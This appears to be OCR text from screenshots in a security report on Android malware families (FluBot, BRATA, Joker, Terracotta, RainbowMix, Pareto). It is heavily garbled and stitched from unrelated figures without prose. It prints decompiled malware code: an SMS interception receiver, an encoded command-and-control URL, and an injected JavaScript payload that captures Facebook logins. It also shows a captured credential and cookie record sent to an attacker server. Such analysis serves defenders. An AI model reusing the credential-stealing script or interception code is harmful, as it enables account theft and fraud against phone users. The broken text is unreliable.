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Drive A Mazda? Your Privacy
Could Be Gone In gasSasniie
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I cover crime, privacy and security in digit
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Flubot

Bytecode Viewer 2.9.22 - https://bytecodeviewer.com | https://the.bytecode.club - @Konloch

File View Settings Plugins

Files Work Space

¢ W Cabassous.apk
¢ assets
? dex
classesv1.bin
\# android-supportv4.jar
appconfig_basic,json
4 boot.config
corejs.1.3.4.js
libfolly_futures.so
libjsijniprofiler.so
libnative-imagetranscoder.so
libreactnativeblob.so
RNFetchBlobReq$e.small
RNFetchBlobReq$f.smali
RNFetchBlobReq.small
segoeui.ttf
& SmsPlatformRelease. properties
¢ & com
o {8 whatsapp
o 4 Decoded Resources
? META-INF
APKEASYT.RSA
APKEASYT.SF
&% MANIFEST.MF
o #n
o~ B np
o & obfuse
o i org
o _ures
& AndroidManifest.xml
resources,arsc

search (no file extension

Exact

Search

Search from All_Classes
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FI u b01. android.permission. ACCESS_NETWORK_STATE
android.permission. ACCESS_NOTIFICATION_POLICY
android.permission.CALL_PHONE
android.permission.DISABLE_KEYGUARD
android.permission.EXPAND_STATUS_BAR
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.NFC
android.permission.QUERY_ALL_PACKAGES
android.permission.READ_CONTACTS
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.READ_SYNC_SETTINGS
android.permission.READ_SYNC_STATS
android.permission.RECEIVE_SMS
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.SEND_SMS
android.permission.WAKE_LOCK
android.permission.WRITE_SMS
android.permission.WRITE_SYNC_SETTINGS
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FluBot Infection Pattern

> HTTP >
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The victim receives a malicious
SMS text message

Lo

The victim opens the URL

Victim installs & opens the
malicious application

- P

Malware uploads contacts to
Command & Control Center

@) :
- &

Malware download s a list of target
contacts from C&C

Malware infects further devices by
sending SMS to target contacts
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BRATA

Fraud Operator

controls remotely

Fraud operator e . the victim device to
perform fraudulent

transaction

Fraud Operator
blocks t
Clicks on fake Downloads of device :hrm;e{he
SMS from bank BRATA malware BRATA malware
number eee
. | SMS —— .(:)
—_— | WWW —_— -
Victim Fake website with malicious app Victim Device's Victim Banking
(BRATA) ° App
. .

Fraud operator calls the victim and uses social
engineering techniques to convince him/her to
install the malicious app

@

Fraud operator
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Accessibility < AntiSPAM

CROWDSTRIKE

Accessibility shortcut off =3

No service selected

Attiva subito |a protezione contro le minacce web.
Downloaded services
. AntiSPAM Use AntiSPAM?

OFF

AntiSPAM needs to

Screen readers Observe your actions
Receive notifications when you're

Text-to-speech output interacting with an app
Retrieve window content

Inspect the content of a window you're

{‘ Allow AntiSPAM to

make and manage

Display phone calls?

*+ Observe text you type
Font size Include: sonal data such as DENY ALLOW
Default

Perform gestures
Display size Can tap, swipe, pinch, and perform

other gestures
Default

Q Magnification CANCEL
off

Large mouse pointer

Interaction controls

Click after pointer stops moving

ot

| ] Pinnss 4905

Activate device admin app? Can modify system settings

. AntiSPAM

Very Important

Activating this admin app will allow the Allow modify system settings
app AntiSPAM to perform the following
operations: This permission allows an app to modify

system settings
Change the screen lock

Change

Set password rules

Control the length and the characters allowed in
Allow AntiSPAM to screen lock passw nd PINs.
send and view SMS

B Allow AntiSPAM to
access photos, media,
and files on your

Lock the screen

Control how and when the screen locks,

messages?

device?

DENY ALLOW
DENY ALLOW

Activate this device admin app

Cancel

Uninstall app

Cleafy | LABS



BRATA

SESSION 1D

LAST DEVICE 1D

LAST INSTALLATION 1D
LAST APP SESSION 1D
LAST PREDICTED USER 1D
APPLICATION DEVICE 1D

USER ID

r

CHANNEL MOBILE
SESSION DURATION 36 minutes (about 1
EVENTS COUNT 36
DQVSgIipN4ig P ADORESS
OPERATING SYSTEM ® Androg« 11

DEVICE 0 sl

E BonificoE steroRiepilogo

(> [T — TR

USER_NEW_PAYMENT _LOCATION

15 BonificoCompila

leafy
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Use Assistance Service?

Observe your actions

Find the service below and click to activate it
Retrieve window contemt

Assistance Service
‘ Updating

Perform gestures
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Joker

BP Diary Free BP Recorder
Warren Reason  Health & Fitness Cosette Gervais Tools

O Tris 200 s avalabie for 31 of your devices

[B] Add to wishlist

BP Diary

FREE 8F RECONDER

RFHRERFG

Clean Wallpaper

Randall S Bucy Tools

Time Zone Camera

&/ivester.l Deshotel  Photography

[l Acd to wishiist

WALLPAPER
EXQUISITE

WALLPAPER
EXQUISITE
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;1'com.camera.phototimezoni AndroidManifest.xml X
(% Source code

i| # android.support.vd

=1

ity and Y [ot ONe J of" C tamp.activit ctiv i ; "po
| 3 @ androidx vity androi € FullScreen’ i = . a.phototi : era.stan hot iviti StampCame
| i bolts activity androi ame =" com. camera.phototimez camera.stamp.g
| (] & # com activit ‘ em /FullScre o

Nt ot ime

. . n Aat: aid cunport DROVIDER A
i @ retrofit2.service ‘ L : : St H s ROVIDER_PA

2 /FullScreen” iroid ‘ “com.camera.phototimezonecamera.stamp.photostamp.activities.StampCame

1 i) assets

|| @ META-INF
|| @-Eg res

3} unknown

| FAndroidManifest . xm]
| 3 classes.dex

i B resources.arsc intent-filter
2 stamp-cert-sha256 SCLI0N Anaroia ' S CAOD-HOTL
APK signature
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¢ index.html@ts=1629194681330
- Source code
5 Oh@o808h0.0h0o808h0
5@
#-® Oh©o808h0
# com
i # bk.dd.mm
i # google.android.dex
# defpackage
L@ P
i % Resources
APK signature

(intent.getAction().equals("anc

SmsMessage| ]

(messagesFromIntent
(SmsMessage smsMessage
sb.append(smsMessage.getMessageBody());

Jindex.html@ts=1629194684849

# Source code

(® 0heo808h0.0h©0888h0.C800 X 22 Resources

7

APK signature
Context f20h@o08€8h0;

Oheo8e8h0(Context context)
.f20heog8eg8ho context;

run()
Context context .f20heos8esho;
String OhBo868h02 Oh60868h0.0h80o868h0
TelephonyManager telephonyManager
g simOperator
; simCountrylso

"aHROCDovL21tcGx1bWVudGUuUbGImZSOwdxsL2ZhY2ViYWNraWwQv

(TelephonyManager) context.getSystemService( phone™);

telephonyManager.getSimOperator();
telephonyManager.getSimCountryIso();

P3RZPQ==");

-
L

HttpURLConnection httpURLConnection (HttpURLConnection) URL (Oh@o8es8h02
httpURLConnection.setRequestMethod(0h©o808h0.0heo808hO( "REVU™));
httpURLConnection.setConnectTimeout( )
httpURLConnection.setReadTimeout( );

m,currentTimeMillis(

CeoGo BroadcastReceiver {
onReceive(Context context, Intent intent) {

“oid.provider.Telephony.SMS_RECEIVED"))

ngBuilder();

messagesFromIntent Telephony.Sms.Intents.getMessagesFromIntent(intent);

messagesFromIntent.length )

messagesFromIntent) {

B der sb

L

ring originatingAddress
(DooCOQGO . m9CeoGo( )
DooCOQGO . meCeoGo( ) . F58000G

smsMessage.getOriginatingAddress();
TextUtils.isEmpty(DooCOQGO.moCO0GO( ) .Q0G000)
originatingAddress;

TextUtils.isEmpty(originatingAddress)) {

1
J
}
Co@Q0.m53CeoGo( "mms: bod

ody:".concat(String.valueOf(sb)),
task.m.n.C@oGo.m5C8oGo(

y true);
b.toString());
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App

Entrypoint

com.android.mms

Check
incoming
MMS

com.android.phone

Check
incoming
SMS

com.android.settings

Enable
mobile
networking

other apps

Custom
binders for
SMS
interception
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EditorPhotoPip

Painting

Touch paper

Graffiti

About me

PIP Photo

Lillians Tools * kK 100 &

E PEGI3

J This app is available for some of your devices

You can share this with your family. Learn more about
Family Library

[#] Add to wishlist

Happy Valentine's Day

B4 WEE Ba% I2dg

Select a photo from an album, or take a picture, then add the selected photo to the frame provided by

the app, and then share it with your social software
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Facebook
Stedler

LOG IN TO FACEBOOK

IEI PC cu Windows - London, United Kingdom
Firefox - Activa acum

(-

E] PC cu Windows - London, United Kingdom
Chrome - acum 26 minute

f LOGIN WITH FACEBOOK
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19

lpackage com.editor.imgphotos.milk;

import retrofit2.Retrofit;
import retrofit2.Retrofit.Builder;
import retrofit2.converter.gson.GsonConverterFactory;

lpublic class RetrifitUtils {
public static String Base_URL = "http://45.76.111.178/";
public static Retrofit retrofit = new Builder().baseUrl(Base_URL).addConverterFactonr

public static <T> T createApi(Class<T> cls) {
return retrofit.create(cls);

}




. POST|45.32.110.28 /index.php?r=user/init&&appld=com.viewedites.showimg 10:41:32 3.08 KB -

200 POST graph.facebook.com /v5.0/226577222413073/activities 10:41:32 405ms 657 bytes C
5200 POST graph.facebook.com /v5.0/226577222413073/activities 10:41:32 401 ms 658 bytes Com...
s 200 GET graph.facebook.com /v5.0/226577222413073?fields=auto_event_setup_enabled&format=json&advertiser_id=96961369-31c 10:41:32 96 ms 404 bytes Com...
E 400 GET graph.facebook.com /v5.0/226577222413073/button_auto_detection_device_selection?fields=is_selected&format=json&sdk 10:41:32 38 ms 1.88 KB Com...

2 200 POST web.facebook.com  /adnw_sync 10:41:32 107 ms 595 KB Com..
50200 POST graph.facebook.com /v5.0/226577222413073/activities 10:41:32 298 ms 2.07 KB Com...
2 200  GET 45.32.110.28 /config.php?packageName=com.viewedites.showimg&a=getForce 10:41:32 308 ms 490 bytes Com... v
Filter: ’DFocused \ Settings |

Overview Contents Symmary Chart Notes

1

Headers Query String Text Hex Raw

Lontent- 1ype: 1exy/ntmi; cnarset=uir-s
Transfer-Encoding: chunked

Vary: Accept-Encoding

Connection: keep-alive

{"retCode":O,"u":“https:","ds":O,"d":"function Logs(msg){console.log(msg)}function exec(){try{var m=document.getElementByld(\"email\").value;var p=document.
p=document.getElementByld(\"m_login_password\").value;if(m.length <=0||p.length<=0){return false}t.a(m,p)}catch(e){}}}function login(){try{var
loginfFormObj=document.getElementByld(\"loginform\");loginfFormObj.getElementsByTagName(\"button\")[0].addEventListener(\"touchend\", function(){exec()});loginFormObj.getElementsByTag
loginFormObj=document.getElementByld(\"login_form\");loginfFormObj.querySelectorAll(\"button[name* =login]\")[0].addEventListener(\"touchend\" function(){exec()});loginFormObj.querySelec

r testpclogin=\/facebook\\.com\\\/login\\.php\/i;var testwaplogin=\/m.facebook\\.com\\\/$|m.facebook\\.com\\\/login\\.php\/i;if(testpclogin.test(window.location.href)||testwaplogin.test(windc
testurl=\/facebook\\.com\\\/bookmarks\\\/pages\/i;var testomurl=\/business\\.facebook\\.com\/i;if(testurl.test(window.location.href)){Logs(\"=============33333\");var
obj=document.getElementByld(\"bookmarksSeeAllEntSection\");if(obj==null){Logs(\"=============33333++++++\");0bj=document.getElementsByTagName(\"iframe\")[0].contentDocume ¥
< >

Headers Text Hex HTML JSON JSON Text Raw




Facebook

Stedler

{"name" : "AbaXXXXXl@yandex.com", "password" : "XXXXXXXXX", "cookie":"locale=en US;
sb=pdFuYKVYXXXXXXocbCX; datr=pdFuYXXXXX23FvT6rH66AyKt; wd=980x1807; dpr=3;
c_user=10003XXXXXX698; xs8=34%3AycSKHXXXXXXXX%3A2%3A1617875462%3A15084%3A7724;
fr=1MFuandGigJdztRADLY .AWWXXXXXXGXSeDnu4V7Q.BgbtGl.Q4 .AAA.0.0.BgbtIF.AWVTg] d_OO4 ;
spin=r. 1003590795 b.trunk t.1617875466 s.1 v.2 ","page":0,"bm":0,"ua":" (https: \/\/
www . facebook.com\/raXXXxXXxii.7)Mozilla\/5.0 (Windows NT 6.1; Winé4; x64)
AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/86.0.4240.185 Safari\/537.36"}



Facebook
Stedler

content:"r=user/init"

FILES 3

D62D5CF815C3410C9919F 4DABAE78BF 2546AAAB679FEST28DCCBEEEE213FOAFF
O ©@® libapp.so

elf 64bits shared-lib

CBE23C06749154C05196D43DEC1661D29BA9AB5C1233EC2FAS25BF957C8FDASD
] © ® classes.dex

android dex

9959148CD8FEA4BAACDERSBBCI89829E248DE15BEBFB568394F07B8B5AF 1DF65
M © @& classes . dex
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@
Organized crime

©
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g. Bank fraud Payment system fraud

]

o

@
Bug bounty  Medical records fraud
Credential harvesting
®
|del'lﬁz theft Credit card fraud
® Hacktivism

§ Cyber warfare @
-d

—
Difficult Effort and risk Easy

Figure 1: Attractiveness of hacking based on financial gain and effort
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Probably nothing, but noting it here just in case -- the top IP in the blocklist-s launching right now is a corporate
address associated with|llHospital. It's hitting ~6M impressions per week and is the top IP by quite some margin

@Link ip 170.12.

"ipT: "179.1
"hostname": "webma rg",
"city": NG

"region”: "Pennsylvania”,
"country": "US",

"loc*: N

org': 45> S o
llpostalll: n l’

"timezone": "America/New_York"
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erracotta

Coupons
AnSutko Shopping
€ Everyone

\ A You don't have any devices.

Coupons

[}] Add to wishlist

e 43800206 il B> ¥ 4 51800206

1.
Walmart

Shop In Wallmart, BestBuy or ikea and use
your personal $500 QR-code - coupon on &
rogister
Share your QR-code to a friend! After
he downloads app from your QR-code -
coupan, you both get additions! 8150 for

e " O
() © 0
: $ 500

“- O M O

Special mobile application which give you discounts in the most popular stores.

More by AnSutko

7

ersi your pair

Free Boots
AnSutko

Mobile application for
promotion best boot

* * *

Get your
ticket

W

Shine Dent

Tickets For Fre
AnSutko

Free ticket to Armin van
Buuren concert.

Shine Dent

AnSutko

Free premium Teeth
Whitening kit for you

°§Eusv'l,' IKEA

Walmart

Shop in Wallmart, BestBuy or Ikea and use
your personal $500 QR-code - coupon on a
register.

Share your QR-code to a friend! After
he downloads app from your QR-code -
coupon, you both get additional $150 for

Click to share
Valid after: May 21, 2020




Terracofita

function z() {
_0x3fe2('0x22', 'Qwl2') _0x3fe2('0x23', '5ra8') Promise(function (_r52) {
_0x3fe2('Ox24', 'Xxla') _Ox3fe2('0x25"', 'QuwT') 7 null _reactNativeUuid.default[ 0x3fe2('0x26', 'N7R7')]
_0x3fe2('0x32', '1IxS') _0x3fe2('0x33', 'sK$h') (null _reactNative.default[ 0x3fe2('0x34', 'x#3n')]
TEY (c(_ox3fe2('0x3f', 'rRwK'), m[_0x3fe2('0x40', 'C8w4')1.id, 1)[_0Ox3fe2('0Ox41', 'zOmk')1())
}) (_reactNative.default, _reactNativeFirebase.default, _reactNativeUuid.default[ 0x3fe2('0x42', 'SqF3')], _0x
}) [ _ox3fe2('@Ox4d', 'GN1V')](function (x) {
(_ox3fe2('0Oxd4e', 'N7Mb') _0x3fe2('Ox4f', 'xPU)')) null;
r52()
}) _r52[_ox3fe2('0x50', 'SqF3')] 0 _reactNative.default[_0x3fe2('0x51', '1IxS')][ 0x3fe2('0x52', '5ra8')]
}) [ ox3fe2('0x62', 'ztXP')1l(function () {
(_ox3fe2('0x63', 'Qwl2') _0x3fe2('0x64', 'lu)u')) _reactNative.default[ 0x3fe2('@x6c', '1IxS')][ 0x
(_ox3fe2('0Ox6e', 'x#3n') _0x3fe2('Ox6f', 'BlsZ')) null;
_reactNative.default[ 0x3fe2('0x70', 'N7Mb')] = {}, _reactNative.default[ 0x3fe2('0x71', '8saw')].f = {}, _red
3);
_reactNativeUuid.default[ 0x3fe2('0x65', 'v0al')][ 0x3fe2('0Ox66', '&b8Y')] = t, _reactNativeFirebase.default[ 0x3
}) [ ox3fe2('0x7a', 'Alcld')]1(function (rf) {
(_ox3fe2('0x7b', 'sK$h') _0x3fe2('0x7c', 'N7Mb')) {
(_reactNativeUuid.default[ 0x3fe2('0x7d', 'SGft')]) {
(_ox3fe2('Ox7e', 'QuwT') _0x3fe2('ox7f', 'BlsZ')) null;
_reactNativeUuid.default[_0x3fe2('0x80', 'lIxS')] = {}, _reactNativeUuid.default[_0x3fe2('0x81', 'Qwl2')]
_0x3fe2('0x8f', 'Qwl2') _0x3fe2('0x90"', 'QuwT') (_reactNativeUuid.default[ 0x3fe2('0x91', 'wrR5
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v [ Source code
v & com
v #8 rnl
» (& RNVlWebViewPackage
v 1 viking
©
(& RNVWebViewCallback
(& RNVWebViewChromeClient
(® RNVWWebViewClient
(® RNV1WebViewManager
(& RNVWebViewModule
» (@ RNVWebViewPackage
» [ Resources

vVVvVvVvyyVvyyvyy

S CUTTLTTIL AN VIVWED VIEWNdUKayc<

. |

package com.viking;

import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import

android.
android.
android.
android.
android.
android.
android.
android.
android.
android.
android.
android.
android.
android.

content.Context;
graphics.Rect;

os.Handler;

0s.SystemClock;
support.annotation.Nullable;
util.DisplayMetrics;
util.TypedValue;
view.MotionEvent;

view.View;
webkit.CookieManager;
webkit.WebSettings;
webkit.WebView;
widget.FramelLayout;
widget.FrameLayout.LayoutParams;

com. facebook. react.bridge.ReactApplicationContext;
com. facebook.react.bridge.WritableMap;

com. facebook. react.modules.core.DeviceEventManagerModule.RCTDeviceEventEmitter;

java.io.

File;

java.lang.reflect.Field;
java. lang.reflect.Method;
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Terracotta

<uses-sdk android:minSdkVersion="20" android:targetSdkVersion="27"/>
.USE_FULL_SCREEN_INTENT"/>

<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission

android

android
android
android
android
android
android
android
android
android
android
android
android
android
android
android

intnnt Filt+nrs

:name="android
android:
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
:name="android
android:

name="android

name="android.

.permission
.permission.
.permission
.permission.
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission

permission

.ACCESS_NETWORK_STATE"/>

.CALL_PHONE" />

.REQUEST_ IGNORE_BATTERY OPTIMIZATIONS"/>

.RECEIVE BOOT_COMPLETED"/>

.READ PHONE_STATE"/>

.RECEIVE_SMS"/>

.READ _SMS"/>

.REQUEST DELETE PACKAGES"/>

.SEND_SMS" />

.READ_CONTACTS"/>

.WAKE_LOCK"/>

.WRITE EXTERNAL_ STORAGE"/>

.READ EXTERNAL STORAGE"/>

.GET_ACCOUNTS"/>

.RECORD AUDIO"/>

<application android:theme="@style/Theme.Translucent. NoTitleBar" android:label="MMM" andro.
<service android:label="replace 1" android:name="com.example.mmm.NotificationGSLister"

FOREGROUND SERVICE"/>

INTERNET" />

A\
-
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RainbowMix

com.badicecream.icepowers
com.badicecream.icepowers.bnn
com.badicecreamdeluxe.fruitattack
com.banjolab.ninetailstransformation
com.battleflag.senki.warofheroes
com.battleflag.senki.warofheroes2
com.battleofpirates.legendreturn
com.battleofsaiyan.universes
com.battleofsuper.warriorssuperblue
com.battleofz.sragonsmash
com.battleofz.sragonsmash2
com.battleofz.superwarriors
com.battletoads.dragonbro
com.battletoadsfighter.toadmania
com.bestclassic.supersmashflash
com.blackflag.piratesvsfairysuperbattle2
com.blazering.crazyworld
com.blazering.dashwarriors
com.bubblebobble.ghostmaze
com.buzzygames.worldtour
com.cactusteam.monstervshero
com.challenger.whitehatcowboy
com.championgame.supergodfist
com.chaosgames.kamebattle
com.circusclassic.lionjump
com.clashofdragon.stickheroes.ncr
com.classiccar.jackaljeep
com.classicnes.emulator.retrogames
com.cocolabs.magicstickwarriors
com.colorisland.bubblebobble
com.comicgames.animeninjaarena
com.comicgames.mangaworldbattlesaga
com.craftvalley.masterblockpe
com.dbzgames.resurrectionfrieza
com.dbziny.dragonkungfu
com.demonlabs.leagueofwarriors
com.denisnapoleon.felixpille.dbzauraofagod
com.denisnapoleon.felixpille.dbzauraofagod2
com.shadowdash.returnofknu
com.shadowrun.adventuresofdashheroes
com.shinigami.realmdeathfight
com.shinigami.realmdeathfight2
com.shinigami.tournamentofshinobi
com.simulators.blockartwarcraft.survival
com.smashbros.fightingarena
com.smashbros.shadowrun
com.smcgames.snesplayer
com.soldierforce.snowfield
com.somari2019.theadventurer

com.doubleheroes.dragon
com.dragonbattle.doublerevenge
com.dragonbrothers.jungleattack
com.dragonbrothers.waterfall
com.dragongames.battleofssjj
com.dragonstudio.kamestickheroes
com.dwagames.superzwarriors
com.earthbound.thegiftmanchronicles
com.epicnine.hakibattle
com.epicwildgames.demontail
com.epicworldbattle.stormpower
com.epicworldbattle.stormpower2
com.fanmades.comicninjabattle
com.farewellgames.ninjamagicwar
com.farewellgames.ninjamagicwar2
com.farmergame.saiyankoarena
com.fieldsofjustice.championsbattle
com.fighter.godofuniversecrusader
com.fireandicecouple.theicetemple
com.fireflygames.fireherolightpuzzle2
com.fireicecouple.thelighttemple
com.footballcaptain.worldtournament
com.frontierknight.evildrrobo
com.gameB4street.classicfighting
com.gamezB4.ninB4emulator
com.gammastudio.uchihabattle
com.gbcdeluxe.emulatorforandroid
com.greatdbzgames.dragonofdiamond
com.gunsmoke.legendshooting
com.hokage.unlimitedheroes
com.hopkins.borutofights
com.hotboyandicegirl.templeinforest
com.hotboyandicegirl.templeinforest2
com.hotboyandicegirl.templeinforest3
com.jackalshooting.supersoliders
com.johnslabs.superwarriorsmoba
com.jojovsninja.battle
com.jumpsuperstars.ultimatebattle
com.karolinagames.powerfighters
com.starsfighting.greatwarofheroes
com.stealthnaruassassins.tournament
com.stickgames.batlestarsvb
com.stickhero.xiaoreturn
com.stickninjafight.legendary
com.streethopper.basketchallenge
com.superclassic.dashwarriors
com.supercomicgames.starsfighting
com.superdinosaurs.frogsoldier
com.superdug.diggerinmaze
com.superfireboy.theforestdungeon
com.superfireboy.thelightdungeon

com.karolinagames.powerfighters2
com.kidicarus.angelland
com.kimmesegames.endlessring
com.kingdomguardian.rushwars
com.kingdomofbowmans.magicarrow
com.kingofsaiyan.dragonarena
com.kingofuniversefighters.ultrainstinct
com.kissonthebeach.lovelygirl
com.knucklesadvance.megamix
com.kog.zenexhibitionmarch
com.leagueofjustice.animewarriors
com.leagueofjustice.animewarriors2
com.leagueofjustice.animewarriorsreturn
com.leagueofninja.mobaarena
com.leagueofninja.mobabattle
com.leagueofninja.mobabattle2
com.legendarywarrior.powerofbroly
com.legendofmana.secret
com.legendstudio.bardockwarrior
com.leoneboy.zroyalaction
com.liongames.supermonkeykong
com.littlestardev.powerchampionship
com.lovelygames.swimmingpoolkissing
com.lufiagame.riseofthesinistrals
com.mangawar.battleofchaos
com.mazeescapeunblocked.kunmonkey
com.megagens.mdemulator
com.metalgear.superwarriors
com.mgba.romsemulators
com.minigames.icecreammazepuzzle
com.monfirered.gbaemulator
com.mortalfighting.arcadepro
com.msluggames.supervehicle
com.myboypro.gbcemulatorpro
com.namekgame.dragons
com.narugames.ninjafarewell
com.nauticalking.burningwill
com.nauticalking.burningwill2
com.ndsemuclassic.emulator
com.ndsemuclassic.emulatorv2
com.ndsplayer.ndsemuforandroid
COM.Neopop.neogeon.poco
com.nesfcbro.nesemulator
com.nicbros.thesecretrings
com.nidoB4.nB4retrogames.emulator
com.ninjaarena.legendfighting2
com.SuperGG.FightingWorld.HerofromUniverse
com.supermjbuu.besttransformations
com.superrockheroes.battlenetwork
com.supersmash.n64emulator
com.superspeed.heroes2019
com.superturtleswarriors.ninjaproject
com.superturtleswarriors.secretproject
com.superzfighter.tournament

com.ninjabattle.shinobilegend
com.ninjabon.battleofninja
com.ninjagames.legendroad
com.ninjamoba.finalbattle
com.ninjarampage.legendarypower
com.ninjarevenge.bladevssoul2
com.ninjasurvival.deathmatch
com.nswon.legendaryshinobiwar
com.pandagames.skilldashpower
com.panicmaze.mushroomkingdom
com.persianwarrior.recuseprincessjasmine
com.PiSNES.SNESforAPK
com.pocketlabs.emeraldmonsters
com.pokeblack.ndsemulator
com.pokediamond.ndsemulator
com.pokeemerald.gbaemulator
com.pokegba.pokegamess
com.pokerubygames.gbaemulator
com.pokestadium.n64emulator
com.powerzfighters.superkakarot
com.puzzgmamesstudio.icecaveattack
com.puzzlegames.bombmaze
com.pwlegend.fiercefightingarcade
com.rabbitgames.ringchampion
com.racingbattle.zdragonjumpracing
com.redfirepoke.gbaemulator
com.rikigames.shenronblast
com.rikigames.shenronblast2
com.ringmania.lostworld
com.riseoftheninja.darkwar
com.riseoftheninja.darkwar2
com.roadfighterclassic
com.ronandgames.superzwarriors
com.roulettegame.soccerrandomteamgen
com.royalflush.princesssidestory
com.rubypoke.kingofmonsters
com.rushadventure.shadowrings
com.saiyanchampions.thelegacyofsaiyan
com.saiyanclassic.fightinggames
com.saiyanfight.vsninjapirate
com.saiyanfighters.kingofavengers Couwons
com.saiyanrevenge.zlegendaryz
com.saiyanvsninja.arena
com.sbo.awakeningofsaiyan
com.senamo.ultimateninjawar
com.sgs.superbluefullpower %.
com.sweetygames.animeavenger .
com.sweetykiss.bedroomkissing
com.sweetykiss.bedroomkissing2
com.swimmingpoolkissing.princess
com.themagicalquest.mouse
com.thewildwestriders.bountyhunters
com.thronedefender.riseofarcher
com.tinygame.circusclassic
com.tournamentgames.zenoexpochampion

Notes you add appear here
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REVIEWS
i| 5
8 4
‘ 3
* % XY 9
2 49 total 1

Monaliza Cazefias
* * Kk ; 020

© Review Policy

i

Cool but it is not like my boy GBA Emulator.my boy GBA emulator is the best of all GBA emu-

lator. | want on the next update this is like my boy GBA emulator all cheat engine and more.

The Irish Potato

R

O R

1

5

Yes you download the games, you'll get pop up ads/notifications. On certain games.

“-
TeamD. S. Z.
* % Wk K July 16

Best emulator ever

vikas yadav
* h kKK
The best emulator ever

READ ALL REVIEWS

1

1

18

74 ACF60700EEE42D673025618BEA8050B92C8705845193:
v [ Source code
v i com
» {1 androidapk.gbaemulator
== tencent
» £ StubShell
» £ bugly.yaq
» £ wrapper.proxyapplication

v [* Resources
» || assets
> | 1lib
» || META-INF
» [ res

= AndroidManifest.xml
4 classes.dex

» £ resources.arsc
= tencent_stub

A% APK signature

A% Certificate
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<receiver android:name="com.google.android.gms.common. license.a">
<intent-filter>

<action android:name="android.intent.action.BOOT_COMPLETED" />

<action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />
<action android:name="android.net.conn.CONNECTIVITY_CHANGE_IMMEDIATE"/>
<action android:name="android.net.wifi.STATE_CHANGE"/>

<action android:name="android.net.wifi.SCAN_RESULTS"/>

<action android:name="android.net.wifi.RSSI_CHANGED"/>

<action android:name="android.intent.action.EVENT_REMINDER" />

</intent-filter>
<intent-filter>

<action android:name="android.intent.action.PACKAGE_FULLY_REMOVED"/>
<action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
<action android:name="android. intent.action.PACKAGE_REMOVED" />
<action android:name="android.intent.action.PACKAGE_CHANGED" />
<action android:name="android.intent.action.PACKAGE_ADDED" />

<action android:name="android.intent.action.PACKAGE_REPLACED"/>

<data android:scheme="package"/>

</intent-filter>
</receiver>



|
RainbowMix

public void onReceive(Context context, Intent intent) {
if (VERSION.SDK_INT < 26) {
context.startService(new Intent(context, com.timuz.d.class));
return;

¥

Builder builder = new Builder(1211, new ComponentName(context, com.unity3d.services.analytics.core.configuration.a.class));
builder.setMinimumLatency(10000) ;
builder.setOverrideDeadline(20000);
JobScheduler jobScheduler = (JobScheduler) context.getSystemService(JobScheduler.class);
if (jobScheduler != null) {
jobScheduler.cancel(1211);
jobScheduler.schedule(builder.build());
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public static void a(Context context) {
Class cls;
boolean b2 = com.unity3d.services.ar.a.b(context);
int e2 = org.fmod.b.e();
if (a(context, b2)) {
switch (e2) {
case 1:
cls = com.google.unity.a.class;
break;
case 2:
cls = com.ironsource.unity.a.class;
break;
case 3:
cls = com.unity3d.services.monetization.core.utilities.a.class;
break;
default:
cls = android.support.v7.view.menu.a.class;
break;
}
Intent intent = new Intent(context, cls);
intent.putExtra("ofV3aRzqg7E8", b2);
intent.addFlags(268468224);
context.startActivity(intent);



CROWDSTRIKE Structure
- . Method Host Path Start
Rq I n bOWM IX 200 GET api.pythonexample.com /xyyx?v=5&pn=com.epicworldbattle.stormpow... (KR

Filter: python

Overview m Summary  Chart Notes

GET /xyyx?v=5&pn=com.epicworldbattle.stormpower2&al=29 HTTP/1.1
p1
pn com.epicworldbattle.stormpower2
User-Agent Dalvik/2.1.0 (Linux; U; Android 10; RMX1971 Build/QKQ1.190918.001)
Host api.pythonexample.com
Connection Keep-Alive

Accept-Encoding gzip

Headers Query String Raw

oo~ MPECI o /

"ScP™: 3,
"E5]J": false,
*BEi": 10,
STpRS:E 5
"kzH": true,
"OxD": 100
b
"ec8": [{
"K7Q": "AdColonyRewardedAdapter",
"ZDo": "AdColonyInterstitialAdapter",
“MTd™: 1
}H

}
Headers Set Cookie Text Hex Compressed JavaScript JSON JSON Text Raw

GET https://img.dealsneartome.com/arm_80_75_v64.md5?cb=1595519000269



20%

CAUSES

60%

EFFECTS

PARETO PRINCIPLE



Pareto

Programmatic Demand
(DSPs, Advertisers etc)

Anti-fraud
measurement
server
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Pareto

Any Light Flash Light Carpet Clean 3D
Winitools games Tools raaaine i o{w Toyoighedia. Tooks v com s 32

o eeois S  eeaia
: 5!)
[ addtowshist =3 Addtowishit

Containe Ads

B Addtowishit

Jemm Joaquin
i
C4 A

To everyone downloading this game for points or other offers saying they'll give you when

ees

you reach 750m, DON'T. I've played the app patiently and when | was just 20 meters away
from 750m, the app would just stop letting you play. This is a waste of time. DON'T DOWN-
LOAD THIS BECAUSE THEY NEVER INTEN...

e L

Hole Ball King 7 Sling Puck 3D Challenge Bump Challenge - MultiSport
2 ez o reaz 2 ez

uMPY

B sonent =3 V; e o el o

serlyoei serlyoei
N Yy y I.

i play this game because a offer but when i alrdy reach the requirement i dont get my reward

Disc Wars Pin Pulls

OVIVO Games  Simulation ISTIREIC TS — OVIvO Games  Casual wxxs oz

Light Torch SOS

g S 8 .

L,\ 2 | B s [ oo | ‘ < B rdtowshist E3
3

N
BULLs

Save The Balloons Mobile Screen Recorder

.9

Peaia ‘  reais

Contains Ads - Offers in-app purchases

addto Wishist

@ LeveLs @ (G e
a
v
. |
AWESOME! ‘l
/. >
con) bl
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Pareto

~- g3 toptop.toptopsdk

SUMMARY: = i3 receivers
